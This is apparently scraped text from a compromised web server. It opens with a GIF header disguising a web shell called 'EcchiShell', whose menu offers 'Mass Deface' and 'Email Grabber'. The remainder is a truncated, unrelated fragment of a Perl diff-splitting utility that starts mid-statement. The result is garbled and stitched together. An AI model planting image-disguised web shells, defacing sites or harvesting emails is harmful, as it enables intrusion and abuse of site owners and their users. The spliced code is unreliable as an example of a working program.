GIF89a; EcchiShell v1.0
//bin/

Mass Deface Email Grabber

; close(IN); $part = 1; my %written = (); sub process { print "Lines $_[0] to $_[1]\n" if ($opts{v}); if ($opts{d}) { $out = $_[2]; $out =~ s,/,_,g; } else { $out = sprintf ("%s.part%03d", $ARGV[0], $part); } unless ($opts{E}) { $out = sprintf("%s.patch", $out); } if ($written{$_[2]}) { $mode = '>>' } else { $mode = '>' } $written{$_[2]} = $_[2]; open(OUT, $mode, $out) or die "Can't open output file\n"; for $i ($_[0] .. $_[1]) { unless (($i == $_[1]) && ($input[$i - 1] =~ /^diff\s+\S+/)) { print OUT $input[$i - 1]; } } close(OUT); print "Wrote ".$mode.$out."\n"; $part++; } if($#ARGV != 0) { die "usage: splitdiff DIFF\n"; } $getlist = 'lsdiff -n '; $getlist .= '--strip='.$opts{p}.' ' if ($opts{p}); $getlist .= $ARGV[0]; # Yuck. How do you do this properly in perl? open(LIST, '-|', $getlist) or die "Can't run lsdiff"; @list = ; close LIST; my %seen = (); my @this = (); my $ready = 0; my $linenum; my $file; for (@list) { /\s*(\d+)\s*(.*)$/; ($linenum, $file) = ($1, $2); if ($ready == 1) { process ($firstline, $linenum - 1, $prevfile); $ready = 0; } $prevfile = $file; push @this, [ $linenum, $file ]; if ($opts{'a'} || $seen{$file}) { $firstline = $this[0]->[0]; $ready = 1; if ($opts{v}) { for (@this) { print $_->[0].": ".$_->[1]."\n"; } print "\n"; } @this = (); } $seen{$file} = $file; } if ($ready == 1) { process ($firstline, $linenum - 1, $file) if $linenum > $firstline; process ($linenum, $#input + 1, $file); } if ($part == 1) { print "Input contained no duplicate files; nothing to do\n"; }